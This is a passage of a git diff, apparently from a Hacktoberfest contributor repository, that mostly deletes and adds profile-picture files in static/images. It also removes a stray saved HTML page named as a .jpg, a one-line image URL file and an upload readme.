--git a/static/images/images.jpg b/static/images/images.jpg deleted file mode 100644 index cdf77b9b090..00000000000 Binary files a/static/images/images.jpg and /dev/null differ diff --git a/static/images/img.jpeg b/static/images/img.jpeg deleted file mode 100644 index 6b43caf9288..00000000000 Binary files a/static/images/img.jpeg and /dev/null differ diff --git a/static/images/img.jpg b/static/images/img.jpg deleted file mode 100644 index 1ff4c01a122..00000000000 Binary files a/static/images/img.jpg and /dev/null differ diff --git a/static/images/imlakshay08.jpeg b/static/images/imlakshay08.jpeg deleted file mode 100644 index e96f856786e..00000000000 Binary files a/static/images/imlakshay08.jpeg and /dev/null differ diff --git a/static/images/imyhacker.png b/static/images/imyhacker.png deleted file mode 100644 index 011cd8de6d4..00000000000 Binary files a/static/images/imyhacker.png and /dev/null differ diff --git a/static/images/isallkun.jpg b/static/images/isallkun.jpg deleted file mode 100644 index e88cf2c47e1..00000000000 Binary files a/static/images/isallkun.jpg and /dev/null differ diff --git a/static/images/ishabh thakur.jpeg b/static/images/ishabh thakur.jpeg deleted file mode 100644 index 5ac2e889ef7..00000000000 Binary files a/static/images/ishabh thakur.jpeg and /dev/null differ diff --git a/static/images/ishan-siddiqui.jpeg b/static/images/ishan-siddiqui.jpeg deleted file mode 100644 index aa53c1b2a2b..00000000000 Binary files a/static/images/ishan-siddiqui.jpeg and /dev/null differ diff --git a/static/images/ishani-1255.jpg b/static/images/ishani-1255.jpg deleted file mode 100644 index 2e05e1dd7dc..00000000000 Binary files a/static/images/ishani-1255.jpg and /dev/null differ diff --git a/static/images/its-hrs.jpg b/static/images/its-hrs.jpg deleted file mode 100644 index f53f67b0bea..00000000000 Binary files a/static/images/its-hrs.jpg and /dev/null differ diff --git a/static/images/its-red-eagle.jpg b/static/images/its-red-eagle.jpg deleted file mode 100644 index 1be1691f5ea..00000000000 Binary files a/static/images/its-red-eagle.jpg and /dev/null differ diff --git a/static/images/itsNisarg.png b/static/images/itsNisarg.png deleted file mode 100644 index 2d7208c57ac..00000000000 Binary files a/static/images/itsNisarg.png and /dev/null differ diff --git a/static/images/itsdevdeep.png b/static/images/itsdevdeep.png deleted file mode 100644 index cac433d985c..00000000000 Binary files a/static/images/itsdevdeep.png and /dev/null differ diff --git a/static/images/itsmnsi.jpg b/static/images/itsmnsi.jpg deleted file mode 100644 index 64a1464cbac..00000000000 Binary files a/static/images/itsmnsi.jpg and /dev/null differ diff --git a/static/images/jainbhavit2018.png b/static/images/jainbhavit2018.png new file mode 100644 index 00000000000..e28ad123974 Binary files /dev/null and b/static/images/jainbhavit2018.png differ diff --git a/static/images/jakubkoje.png b/static/images/jakubkoje.png deleted file mode 100644 index 742970aecf2..00000000000 Binary files a/static/images/jakubkoje.png and /dev/null differ diff --git a/static/images/jc8223.JPG b/static/images/jc8223.JPG new file mode 100644 index 00000000000..a7c9c76f3a5 Binary files /dev/null and b/static/images/jc8223.JPG differ diff --git a/static/images/jeremie1112.png b/static/images/jeremie1112.png deleted file mode 100644 index 5c3f1c2c680..00000000000 Binary files a/static/images/jeremie1112.png and /dev/null differ diff --git a/static/images/jfngc293.jpeg b/static/images/jfngc293.jpeg deleted file mode 100644 index e0a45a60a64..00000000000 Binary files a/static/images/jfngc293.jpeg and /dev/null differ diff --git a/static/images/jilloestreicher.jpg b/static/images/jilloestreicher.jpg deleted file mode 100755 index 35f54d1d6f3..00000000000 Binary files a/static/images/jilloestreicher.jpg and /dev/null differ diff --git a/static/images/jordanhilado.jpeg b/static/images/jordanhilado.jpeg deleted file mode 100644 index f726eaaead9..00000000000 Binary files a/static/images/jordanhilado.jpeg and /dev/null differ diff --git a/static/images/juju2181.png b/static/images/juju2181.png deleted file mode 100644 index f04228a6970..00000000000 Binary files a/static/images/juju2181.png and /dev/null differ diff --git a/static/images/kalash.png b/static/images/kalash.png deleted file mode 100644 index 3ac37c02f46..00000000000 Binary files a/static/images/kalash.png and /dev/null differ diff --git a/static/images/kalwabed.png b/static/images/kalwabed.png deleted file mode 100644 index 899e6280df9..00000000000 Binary files a/static/images/kalwabed.png and /dev/null differ diff --git a/static/images/karan.jpeg b/static/images/karan.jpeg deleted file mode 100644 index a20fa8ec09c..00000000000 Binary files a/static/images/karan.jpeg and /dev/null differ diff --git a/static/images/karanjot786.jpg b/static/images/karanjot786.jpg new file mode 100644 index 00000000000..0e9aacafa1f Binary files /dev/null and b/static/images/karanjot786.jpg differ diff --git a/static/images/karmpatel960.jpg b/static/images/karmpatel960.jpg deleted file mode 100644 index 3abf171b4b8..00000000000 Binary files a/static/images/karmpatel960.jpg and /dev/null differ diff --git a/static/images/karthik2607.png b/static/images/karthik2607.png deleted file mode 100644 index c1662c164b1..00000000000 Binary files a/static/images/karthik2607.png and /dev/null differ diff --git a/static/images/karthik2k23.JPG b/static/images/karthik2k23.JPG new file mode 100644 index 00000000000..f9b91701017 Binary files /dev/null and b/static/images/karthik2k23.JPG differ diff --git a/static/images/kashish.jpg b/static/images/kashish.jpg deleted file mode 100644 index d376bb1aa86..00000000000 Binary files a/static/images/kashish.jpg and /dev/null differ diff --git a/static/images/kaustubh0201.png b/static/images/kaustubh0201.png deleted file mode 100644 index 068346e5dab..00000000000 Binary files a/static/images/kaustubh0201.png and /dev/null differ diff --git a/static/images/kd_singh333.jpg b/static/images/kd_singh333.jpg deleted file mode 100644 index 66007ed2da5..00000000000 Binary files a/static/images/kd_singh333.jpg and /dev/null differ diff --git a/static/images/kewpie134134.png b/static/images/kewpie134134.png deleted file mode 100644 index d33de304420..00000000000 Binary files a/static/images/kewpie134134.png and /dev/null differ diff --git a/static/images/kholiator.jpg b/static/images/kholiator.jpg deleted file mode 100644 index 6ef12731908..00000000000 Binary files a/static/images/kholiator.jpg and /dev/null differ diff --git a/static/images/khushi.jpg b/static/images/khushi.jpg deleted file mode 100644 index bb4106553c4..00000000000 Binary files a/static/images/khushi.jpg and /dev/null differ diff --git a/static/images/kitty.jpg b/static/images/kitty.jpg deleted file mode 100644 index a33a5176307..00000000000 Binary files a/static/images/kitty.jpg and /dev/null differ diff --git a/static/images/kjain05.jpg b/static/images/kjain05.jpg deleted file mode 100644 index 28626f1a447..00000000000 Binary files a/static/images/kjain05.jpg and /dev/null differ diff --git a/static/images/kluzko.png b/static/images/kluzko.png deleted file mode 100644 index 67db9a866a0..00000000000 Binary files a/static/images/kluzko.png and /dev/null differ diff --git a/static/images/krina1912.jpg b/static/images/krina1912.jpg deleted file mode 100644 index fb66a921397..00000000000 Binary files a/static/images/krina1912.jpg and /dev/null differ diff --git a/static/images/ksaravindakashyap.png b/static/images/ksaravindakashyap.png deleted file mode 100644 index 510a1d8aaac..00000000000 Binary files a/static/images/ksaravindakashyap.png and /dev/null differ diff --git a/static/images/kushagrarastogi7007.jpg b/static/images/kushagrarastogi7007.jpg deleted file mode 100644 index c58aacf6693..00000000000 Binary files a/static/images/kushagrarastogi7007.jpg and /dev/null differ diff --git a/static/images/laurensius.jpeg b/static/images/laurensius.jpeg deleted file mode 100644 index 3e906ae69e4..00000000000 Binary files a/static/images/laurensius.jpeg and /dev/null differ diff --git a/static/images/law01f.png b/static/images/law01f.png deleted file mode 100644 index d6ead93ba9a..00000000000 Binary files a/static/images/law01f.png and /dev/null differ diff --git a/static/images/leratomakhasane.jpg b/static/images/leratomakhasane.jpg deleted file mode 100644 index 632b131909c..00000000000 Binary files a/static/images/leratomakhasane.jpg and /dev/null differ diff --git a/static/images/linuxmobile.png b/static/images/linuxmobile.png new file mode 100644 index 00000000000..191071e0770 Binary files /dev/null and b/static/images/linuxmobile.png differ diff --git a/static/images/lizardkingLK.jpg b/static/images/lizardkingLK.jpg deleted file mode 100644 index 40c73264fa7..00000000000 Binary files a/static/images/lizardkingLK.jpg and /dev/null differ diff --git a/static/images/logo.png b/static/images/logo.png deleted file mode 100644 index 2179659c28f..00000000000 Binary files a/static/images/logo.png and /dev/null differ diff --git a/static/images/lokesh v.jpg b/static/images/lokesh v.jpg deleted file mode 100644 index adc8903fe71..00000000000 Binary files a/static/images/lokesh v.jpg and /dev/null differ diff --git a/static/images/lubnafathima.jpg b/static/images/lubnafathima.jpg deleted file mode 100644 index d84961bb79f..00000000000 Binary files a/static/images/lubnafathima.jpg and /dev/null differ diff --git a/static/images/luccasoli.jpg b/static/images/luccasoli.jpg deleted file mode 100644 index a5fdfe4edcc..00000000000 Binary files a/static/images/luccasoli.jpg and /dev/null differ diff --git a/static/images/m3rashid.jpeg b/static/images/m3rashid.jpeg deleted file mode 100644 index f222a9784c3..00000000000 Binary files a/static/images/m3rashid.jpeg and /dev/null differ diff --git a/static/images/madhandevlpr.png b/static/images/madhandevlpr.png deleted file mode 100644 index d146e7deb4c..00000000000 Binary files a/static/images/madhandevlpr.png and /dev/null differ diff --git a/static/images/maglionaire.png b/static/images/maglionaire.png deleted file mode 100644 index dfc4a992d48..00000000000 Binary files a/static/images/maglionaire.png and /dev/null differ diff --git a/static/images/makendrang.png b/static/images/makendrang.png deleted file mode 100644 index 4715f02c56d..00000000000 Binary files a/static/images/makendrang.png and /dev/null differ diff --git a/static/images/malopieds.jpeg b/static/images/malopieds.jpeg deleted file mode 100644 index 34c18723574..00000000000 Binary files a/static/images/malopieds.jpeg and /dev/null differ diff --git a/static/images/malyabansal.png b/static/images/malyabansal.png deleted file mode 100644 index 0cba0d5708b..00000000000 Binary files a/static/images/malyabansal.png and /dev/null differ diff --git a/static/images/manavarora.jpg b/static/images/manavarora.jpg deleted file mode 100644 index b1770e7cec2..00000000000 Binary files a/static/images/manavarora.jpg and /dev/null differ diff --git a/static/images/manojrayar_github_profile.jpg b/static/images/manojrayar_github_profile.jpg deleted file mode 100644 index c5bc31a1561..00000000000 Binary files a/static/images/manojrayar_github_profile.jpg and /dev/null differ diff --git a/static/images/manuFake b/static/images/manuFake deleted file mode 100644 index bb4aa69b642..00000000000 --- a/static/images/manuFake +++ /dev/null @@ -1 +0,0 @@ -https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQPSaJ86t2N77P6ak4LPIBorDmrxUWer_ROcA&usqp=CAU diff --git a/static/images/marcelogcardozo.png b/static/images/marcelogcardozo.png deleted file mode 100644 index b1ef7bdccf5..00000000000 Binary files a/static/images/marcelogcardozo.png and /dev/null differ diff --git a/static/images/martinarcos.png b/static/images/martinarcos.png deleted file mode 100644 index 1109890b830..00000000000 Binary files a/static/images/martinarcos.png and /dev/null differ diff --git a/static/images/matildeopbravo.jpg b/static/images/matildeopbravo.jpg deleted file mode 100644 index 66bbefe2874..00000000000 Binary files a/static/images/matildeopbravo.jpg and /dev/null differ diff --git a/static/images/meetp90.jpg b/static/images/meetp90.jpg new file mode 100644 index 00000000000..899ec8339d3 Binary files /dev/null and b/static/images/meetp90.jpg differ diff --git a/static/images/melvincwng.jpg b/static/images/melvincwng.jpg deleted file mode 100644 index 2fafae40216..00000000000 Binary files a/static/images/melvincwng.jpg and /dev/null differ diff --git a/static/images/members-bts-profile-.jpeg b/static/images/members-bts-profile-.jpeg deleted file mode 100644 index 91536027aa1..00000000000 Binary files a/static/images/members-bts-profile-.jpeg and /dev/null differ diff --git a/static/images/mersonfufu.png b/static/images/mersonfufu.png deleted file mode 100644 index 31c46879509..00000000000 Binary files a/static/images/mersonfufu.png and /dev/null differ diff --git a/static/images/mhaendler.jpg b/static/images/mhaendler.jpg deleted file mode 100644 index bbf9a16e19e..00000000000 Binary files a/static/images/mhaendler.jpg and /dev/null differ diff --git a/static/images/miftahunajat.jpg b/static/images/miftahunajat.jpg new file mode 100644 index 00000000000..ab571ba3b8b Binary files /dev/null and b/static/images/miftahunajat.jpg differ diff --git a/static/images/mikecheek.jpg b/static/images/mikecheek.jpg deleted file mode 100644 index 04b7bfefc1a..00000000000 Binary files a/static/images/mikecheek.jpg and /dev/null differ diff --git a/static/images/mirusu400.png b/static/images/mirusu400.png deleted file mode 100644 index 2253430d1d4..00000000000 Binary files a/static/images/mirusu400.png and /dev/null differ diff --git a/static/images/mj_pic.jpg b/static/images/mj_pic.jpg deleted file mode 100644 index 7ecc1952333..00000000000 Binary files a/static/images/mj_pic.jpg and /dev/null differ diff --git a/static/images/mohammedavez125.png b/static/images/mohammedavez125.png deleted file mode 100644 index fd053d32bae..00000000000 Binary files a/static/images/mohammedavez125.png and /dev/null differ diff --git a/static/images/mohit2.jpg b/static/images/mohit2.jpg new file mode 100644 index 00000000000..66298af0d5d Binary files /dev/null and b/static/images/mohit2.jpg differ diff --git a/static/images/msamik.jpg b/static/images/msamik.jpg deleted file mode 100644 index c43418b0bee..00000000000 Binary files a/static/images/msamik.jpg and /dev/null differ diff --git a/static/images/mubashir72.jpg b/static/images/mubashir72.jpg deleted file mode 100644 index 547b52c3c82..00000000000 Binary files a/static/images/mubashir72.jpg and /dev/null differ diff --git a/static/images/musadiqpeerzada.jpg b/static/images/musadiqpeerzada.jpg deleted file mode 100644 index 143ea4b438c..00000000000 Binary files a/static/images/musadiqpeerzada.jpg and /dev/null differ diff --git a/static/images/myImage.jpg b/static/images/myImage.jpg deleted file mode 100644 index c2646d60063..00000000000 Binary files a/static/images/myImage.jpg and /dev/null differ diff --git a/static/images/my_img.jpg b/static/images/my_img.jpg deleted file mode 100644 index 236662172e0..00000000000 Binary files a/static/images/my_img.jpg and /dev/null differ diff --git a/static/images/my_imgg.png b/static/images/my_imgg.png deleted file mode 100644 index 6c213c64f2c..00000000000 Binary files a/static/images/my_imgg.png and /dev/null differ diff --git a/static/images/my_imgz.png b/static/images/my_imgz.png deleted file mode 100644 index 6c213c64f2c..00000000000 Binary files a/static/images/my_imgz.png and /dev/null differ diff --git a/static/images/my_imgzz.png b/static/images/my_imgzz.png deleted file mode 100644 index 6c213c64f2c..00000000000 Binary files a/static/images/my_imgzz.png and /dev/null differ diff --git a/static/images/mypf.jpg b/static/images/mypf.jpg deleted file mode 100644 index 557b297a4be..00000000000 Binary files a/static/images/mypf.jpg and /dev/null differ diff --git a/static/images/mypic.jpg b/static/images/mypic.jpg deleted file mode 100644 index 5f1da0c3bcb..00000000000 Binary files a/static/images/mypic.jpg and /dev/null differ diff --git a/static/images/mywallpaper.png b/static/images/mywallpaper.png deleted file mode 100644 index f772a28bb19..00000000000 Binary files a/static/images/mywallpaper.png and /dev/null differ diff --git a/static/images/naman-Pokhriyal.jpg b/static/images/naman-Pokhriyal.jpg deleted file mode 100644 index 44c9e467b6c..00000000000 Binary files a/static/images/naman-Pokhriyal.jpg and /dev/null differ diff --git a/static/images/navdeepk037.png b/static/images/navdeepk037.png deleted file mode 100644 index 108bcfc9bc8..00000000000 Binary files a/static/images/navdeepk037.png and /dev/null differ diff --git a/static/images/neolia-monu.jpg b/static/images/neolia-monu.jpg deleted file mode 100644 index 9f813104f0d..00000000000 Binary files a/static/images/neolia-monu.jpg and /dev/null differ diff --git a/static/images/new-user-786.jpg b/static/images/new-user-786.jpg deleted file mode 100644 index 1e169e13265..00000000000 Binary files a/static/images/new-user-786.jpg and /dev/null differ diff --git a/static/images/nexuswho.jpg b/static/images/nexuswho.jpg new file mode 100644 index 00000000000..16404dbc50e Binary files /dev/null and b/static/images/nexuswho.jpg differ diff --git a/static/images/niceee.JPG b/static/images/niceee.JPG deleted file mode 100644 index 69296af849d..00000000000 Binary files a/static/images/niceee.JPG and /dev/null differ diff --git a/static/images/nik.jpg b/static/images/nik.jpg deleted file mode 100644 index d98ff92e847..00000000000 Binary files a/static/images/nik.jpg and /dev/null differ diff --git a/static/images/nimeshgarg.jpg b/static/images/nimeshgarg.jpg deleted file mode 100644 index 0e62502f02f..00000000000 Binary files a/static/images/nimeshgarg.jpg and /dev/null differ diff --git a/static/images/nisargs.jpg b/static/images/nisargs.jpg deleted file mode 100644 index b1a320f5dfe..00000000000 Binary files a/static/images/nisargs.jpg and /dev/null differ diff --git a/static/images/njaina.png b/static/images/njaina.png deleted file mode 100644 index 78d8755a261..00000000000 Binary files a/static/images/njaina.png and /dev/null differ diff --git a/static/images/notcoderguy.jpg b/static/images/notcoderguy.jpg deleted file mode 100644 index 3462b23026b..00000000000 Binary files a/static/images/notcoderguy.jpg and /dev/null differ diff --git a/static/images/nurkholiqaganihafid.jpg b/static/images/nurkholiqaganihafid.jpg deleted file mode 100644 index e440c32b47e..00000000000 Binary files a/static/images/nurkholiqaganihafid.jpg and /dev/null differ diff --git a/static/images/octovish_p.png b/static/images/octovish_p.png deleted file mode 100644 index 4062cb97e2f..00000000000 Binary files a/static/images/octovish_p.png and /dev/null differ diff --git a/static/images/ohdana.png b/static/images/ohdana.png new file mode 100644 index 00000000000..5d6a270ba9e Binary files /dev/null and b/static/images/ohdana.png differ diff --git a/static/images/om-mishra7.jpg b/static/images/om-mishra7.jpg new file mode 100644 index 00000000000..ecb0a5b0f3d Binary files /dev/null and b/static/images/om-mishra7.jpg differ diff --git a/static/images/omagr.jpg b/static/images/omagr.jpg deleted file mode 100644 index e3187b63f2f..00000000000 Binary files a/static/images/omagr.jpg and /dev/null differ diff --git a/static/images/omar-danasoury.jpg b/static/images/omar-danasoury.jpg deleted file mode 100644 index fc08a7aecf8..00000000000 Binary files a/static/images/omar-danasoury.jpg and /dev/null differ diff --git a/static/images/onkar.jpeg b/static/images/onkar.jpeg deleted file mode 100644 index 540b9431a21..00000000000 Binary files a/static/images/onkar.jpeg and /dev/null differ diff --git a/static/images/osmnbtrclk.png b/static/images/osmnbtrclk.png deleted file mode 100644 index 0e48afdd1cb..00000000000 Binary files a/static/images/osmnbtrclk.png and /dev/null differ diff --git a/static/images/ossamamehmood.jpg b/static/images/ossamamehmood.jpg deleted file mode 100644 index 60c832568dc..00000000000 Binary files a/static/images/ossamamehmood.jpg and /dev/null differ diff --git a/static/images/oussamabouchikhi.jpg b/static/images/oussamabouchikhi.jpg deleted file mode 100644 index 5b7db5ef65e..00000000000 Binary files a/static/images/oussamabouchikhi.jpg and /dev/null differ diff --git a/static/images/owais-star.jpg b/static/images/owais-star.jpg deleted file mode 100644 index f84d95338c3..00000000000 Binary files a/static/images/owais-star.jpg and /dev/null differ diff --git a/static/images/p7uverma.png b/static/images/p7uverma.png new file mode 100644 index 00000000000..d52dbc58474 Binary files /dev/null and b/static/images/p7uverma.png differ diff --git a/static/images/pankaj892.jpg b/static/images/pankaj892.jpg deleted file mode 100644 index bbe639b674d..00000000000 Binary files a/static/images/pankaj892.jpg and /dev/null differ diff --git a/static/images/parin23.png b/static/images/parin23.png deleted file mode 100644 index be2357bd2de..00000000000 Binary files a/static/images/parin23.png and /dev/null differ diff --git a/static/images/parth-bijpuriya.JPG b/static/images/parth-bijpuriya.JPG new file mode 100644 index 00000000000..5f7ae532c83 Binary files /dev/null and b/static/images/parth-bijpuriya.JPG differ diff --git a/static/images/perfecto.png b/static/images/perfecto.png deleted file mode 100644 index 85ea31feec2..00000000000 Binary files a/static/images/perfecto.png and /dev/null differ diff --git a/static/images/pfp.jpg b/static/images/pfp.jpg deleted file mode 100644 index df0df89b675..00000000000 Binary files a/static/images/pfp.jpg and /dev/null differ diff --git a/static/images/phongpv.jpg b/static/images/phongpv.jpg deleted file mode 100644 index 669f56f7331..00000000000 Binary files a/static/images/phongpv.jpg and /dev/null differ diff --git a/static/images/photo-naylsonrj.jpg b/static/images/photo-naylsonrj.jpg deleted file mode 100644 index 13a9c817218..00000000000 Binary files a/static/images/photo-naylsonrj.jpg and /dev/null differ diff --git a/static/images/photo.jpg b/static/images/photo.jpg deleted file mode 100644 index d6c36b4b976..00000000000 Binary files a/static/images/photo.jpg and /dev/null differ diff --git a/static/images/pics.jpg b/static/images/pics.jpg deleted file mode 100644 index 4c95135b4d9..00000000000 Binary files a/static/images/pics.jpg and /dev/null differ diff --git a/static/images/picture.jpeg b/static/images/picture.jpeg deleted file mode 100644 index 3565bfba683..00000000000 Binary files a/static/images/picture.jpeg and /dev/null differ diff --git a/static/images/pitnarii.png b/static/images/pitnarii.png deleted file mode 100644 index 09268304544..00000000000 Binary files a/static/images/pitnarii.png and /dev/null differ diff --git a/static/images/piyushk77.jpg b/static/images/piyushk77.jpg new file mode 100644 index 00000000000..52ae53c439e Binary files /dev/null and b/static/images/piyushk77.jpg differ diff --git a/static/images/pman47.jpg b/static/images/pman47.jpg deleted file mode 100644 index 252ba615013..00000000000 Binary files a/static/images/pman47.jpg and /dev/null differ diff --git a/static/images/pp.jpg b/static/images/pp.jpg deleted file mode 100644 index 71fc13d7353..00000000000 Binary files a/static/images/pp.jpg and /dev/null differ diff --git a/static/images/prachipandeyy.jpg b/static/images/prachipandeyy.jpg deleted file mode 100644 index e0d22372b55..00000000000 Binary files a/static/images/prachipandeyy.jpg and /dev/null differ diff --git a/static/images/prankush-tech.jpg b/static/images/prankush-tech.jpg deleted file mode 100644 index 4e65af1e1db..00000000000 Binary files a/static/images/prankush-tech.jpg and /dev/null differ diff --git a/static/images/prasad.jpg b/static/images/prasad.jpg deleted file mode 100644 index 1f36a97f849..00000000000 Binary files a/static/images/prasad.jpg and /dev/null differ diff --git a/static/images/prashant67690.jpg b/static/images/prashant67690.jpg deleted file mode 100644 index 5f65c45c501..00000000000 Binary files a/static/images/prashant67690.jpg and /dev/null differ diff --git a/static/images/pratik.png b/static/images/pratik.png deleted file mode 100644 index d20d808328c..00000000000 Binary files a/static/images/pratik.png and /dev/null differ diff --git a/static/images/princekhj555.jpg b/static/images/princekhj555.jpg deleted file mode 100644 index 2c6b4a46db7..00000000000 Binary files a/static/images/princekhj555.jpg and /dev/null differ diff --git a/static/images/priyanshu.jpg b/static/images/priyanshu.jpg deleted file mode 100644 index 37ee779058c..00000000000 Binary files a/static/images/priyanshu.jpg and /dev/null differ diff --git a/static/images/profPic.jpg b/static/images/profPic.jpg deleted file mode 100644 index 46dc5402f5e..00000000000 --- a/static/images/profPic.jpg +++ /dev/null @@ -1,364 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - Free Online Image Editor - ResizePixel - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    - - - - - - - - -
    -
    -
    -
    - - - - - - - ResizePixel logo - - -

    - Free online image editor -

    -
    - -
    -
    - -
    - - - - - - -
    - The website session has expired. Please upload a new image. -
    -
    - - - -
    - - - - - - - - - - - - - - - - - - -
    - -
    -
    - - - -
    -
    -

    Easy online photo editing with ResizePixel

    - -
    -
    - - - - -
    - © 2022 ResizePixel -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/static/images/profile.jpg b/static/images/profile.jpg new file mode 100644 index 00000000000..e5c1c6723cc Binary files /dev/null and b/static/images/profile.jpg differ diff --git a/static/images/profile.png b/static/images/profile.png index 526dbf5f500..d391bb02696 100644 Binary files a/static/images/profile.png and b/static/images/profile.png differ diff --git a/static/images/profile_photo.jpg b/static/images/profile_photo.jpg deleted file mode 100644 index ae2d6c86232..00000000000 Binary files a/static/images/profile_photo.jpg and /dev/null differ diff --git a/static/images/profilepic.png b/static/images/profilepic.png deleted file mode 100644 index a94580d5843..00000000000 Binary files a/static/images/profilepic.png and /dev/null differ diff --git a/static/images/prpratheek.jpeg b/static/images/prpratheek.jpeg deleted file mode 100644 index 4ce3858231f..00000000000 Binary files a/static/images/prpratheek.jpeg and /dev/null differ diff --git a/static/images/public profile official.jpg b/static/images/public profile official.jpg deleted file mode 100644 index e2f2b9b03b9..00000000000 Binary files a/static/images/public profile official.jpg and /dev/null differ diff --git a/static/images/pyhon code.jpg b/static/images/pyhon code.jpg deleted file mode 100644 index bbf1a7d560a..00000000000 Binary files a/static/images/pyhon code.jpg and /dev/null differ diff --git a/static/images/qasim0014.png b/static/images/qasim0014.png deleted file mode 100644 index e56be05da1a..00000000000 Binary files a/static/images/qasim0014.png and /dev/null differ diff --git a/static/images/rajauzairabdullah.jpg b/static/images/rajauzairabdullah.jpg deleted file mode 100644 index 3803a2ad839..00000000000 Binary files a/static/images/rajauzairabdullah.jpg and /dev/null differ diff --git a/static/images/rajdeepdas2000.jpg b/static/images/rajdeepdas2000.jpg deleted file mode 100644 index 4b2384ff66c..00000000000 Binary files a/static/images/rajdeepdas2000.jpg and /dev/null differ diff --git a/static/images/rajmishra-47.png b/static/images/rajmishra-47.png deleted file mode 100644 index 5e1d6b1cc8b..00000000000 Binary files a/static/images/rajmishra-47.png and /dev/null differ diff --git a/static/images/randyh0120.jpg b/static/images/randyh0120.jpg deleted file mode 100644 index 19c4a32f375..00000000000 Binary files a/static/images/randyh0120.jpg and /dev/null differ diff --git a/static/images/readme.md b/static/images/readme.md deleted file mode 100644 index b8c7e422ef5..00000000000 --- a/static/images/readme.md +++ /dev/null @@ -1,9 +0,0 @@ -# Upload your photo here for hacktoberfest 2021 - -## Add your profile picture to the folder - -Add a picture picture of your choice in `static/images/`. Accepted files are **png** and **jpg**, should be squared and minimum size 544x544 pixels. Ex. - -``` -static/images/.png -``` diff --git a/static/images/regime.png b/static/images/regime.png deleted file mode 100644 index 9583f4eff48..00000000000 Binary files a/static/images/regime.png and /dev/null differ diff --git a/static/images/renanlmiranda.jpg b/static/images/renanlmiranda.jpg deleted file mode 100644 index c832ef004f5..00000000000 Binary files a/static/images/renanlmiranda.jpg and /dev/null differ diff --git a/static/images/rex.jpg b/static/images/rex.jpg deleted file mode 100644 index 70ea12d8ca7..00000000000 Binary files a/static/images/rex.jpg and /dev/null differ diff --git a/static/images/reynan-dev.jpg b/static/images/reynan-dev.jpg deleted file mode 100644 index 02c4186fd9a..00000000000 Binary files a/static/images/reynan-dev.jpg and /dev/null differ diff --git a/static/images/rhilican.jpg b/static/images/rhilican.jpg deleted file mode 100644 index 6ec98338d03..00000000000 Binary files a/static/images/rhilican.jpg and /dev/null differ diff --git a/static/images/rifqij.jpg b/static/images/rifqij.jpg deleted file mode 100644 index 84388c25c9b..00000000000 Binary files a/static/images/rifqij.jpg and /dev/null differ diff --git a/static/images/risko.jpeg b/static/images/risko.jpeg deleted file mode 100644 index 07cfe011fb4..00000000000 Binary files a/static/images/risko.jpeg and /dev/null differ diff --git a/static/images/ritikchhipa01.png b/static/images/ritikchhipa01.png new file mode 100644 index 00000000000..9c9ed55c62a Binary files /dev/null and b/static/images/ritikchhipa01.png differ diff --git a/static/images/ritishbhardwaj.jpg b/static/images/ritishbhardwaj.jpg deleted file mode 100644 index 9ccfc25638c..00000000000 Binary files a/static/images/ritishbhardwaj.jpg and /dev/null differ diff --git a/static/images/rk.png b/static/images/rk.png deleted file mode 100644 index bde08859a4a..00000000000 Binary files a/static/images/rk.png and /dev/null differ diff --git a/static/images/rkadam61001.jpg b/static/images/rkadam61001.jpg deleted file mode 100644 index 314ba7726eb..00000000000 Binary files a/static/images/rkadam61001.jpg and /dev/null differ diff --git a/static/images/robimaulana321.png b/static/images/robimaulana321.png deleted file mode 100644 index ad7772ee1a8..00000000000 Binary files a/static/images/robimaulana321.png and /dev/null differ diff --git a/static/images/rognales.png b/static/images/rognales.png deleted file mode 100644 index 5907267972e..00000000000 Binary files a/static/images/rognales.png and /dev/null differ diff --git a/static/images/rohan-cce.png b/static/images/rohan-cce.png deleted file mode 100644 index a10e89173b5..00000000000 Binary files a/static/images/rohan-cce.png and /dev/null differ diff --git a/static/images/rohan26062001.jpg b/static/images/rohan26062001.jpg deleted file mode 100644 index 7f9bce7402a..00000000000 Binary files a/static/images/rohan26062001.jpg and /dev/null differ diff --git a/static/images/rohankumar.jpeg b/static/images/rohankumar.jpeg deleted file mode 100644 index 2f02e0fe896..00000000000 Binary files a/static/images/rohankumar.jpeg and /dev/null differ diff --git a/static/images/rohithpeddi7.png b/static/images/rohithpeddi7.png deleted file mode 100644 index 3c21ba244b6..00000000000 Binary files a/static/images/rohithpeddi7.png and /dev/null differ diff --git a/static/images/rpvsilva.jpg b/static/images/rpvsilva.jpg deleted file mode 100644 index 18b19bbaccf..00000000000 Binary files a/static/images/rpvsilva.jpg and /dev/null differ diff --git a/static/images/ryansutrisno.png b/static/images/ryansutrisno.png deleted file mode 100644 index 71d49ed815b..00000000000 Binary files a/static/images/ryansutrisno.png and /dev/null differ diff --git a/static/images/ryrden.png b/static/images/ryrden.png deleted file mode 100644 index 7bf6dce9a10..00000000000 Binary files a/static/images/ryrden.png and /dev/null differ diff --git a/static/images/rzhasibuan.jpg b/static/images/rzhasibuan.jpg deleted file mode 100644 index 842d2cef347..00000000000 Binary files a/static/images/rzhasibuan.jpg and /dev/null differ diff --git a/static/images/rzmk.png b/static/images/rzmk.png deleted file mode 100644 index ac1cf4e3cd4..00000000000 Binary files a/static/images/rzmk.png and /dev/null differ diff --git a/static/images/sagar.jpeg b/static/images/sagar.jpeg deleted file mode 100644 index f0b05bdf6ca..00000000000 Binary files a/static/images/sagar.jpeg and /dev/null differ diff --git a/static/images/sahilm-10.jpg b/static/images/sahilm-10.jpg deleted file mode 100644 index f2366c95c7a..00000000000 Binary files a/static/images/sahilm-10.jpg and /dev/null differ diff --git a/static/images/saicharan.jpg b/static/images/saicharan.jpg deleted file mode 100644 index 1c20596cec7..00000000000 Binary files a/static/images/saicharan.jpg and /dev/null differ diff --git a/static/images/saim.png b/static/images/saim.png new file mode 100644 index 00000000000..41d9b1722a3 Binary files /dev/null and b/static/images/saim.png differ diff --git a/static/images/sainik-khaddar.jpeg b/static/images/sainik-khaddar.jpeg deleted file mode 100644 index 2b8c5fc86ab..00000000000 Binary files a/static/images/sainik-khaddar.jpeg and /dev/null differ diff --git a/static/images/sakshiv278.png b/static/images/sakshiv278.png deleted file mode 100644 index 8078030a112..00000000000 Binary files a/static/images/sakshiv278.png and /dev/null differ diff --git a/static/images/sam.png b/static/images/sam.png deleted file mode 100644 index 3a8fd121c88..00000000000 Binary files a/static/images/sam.png and /dev/null differ diff --git a/static/images/samayita.jpg b/static/images/samayita.jpg deleted file mode 100644 index 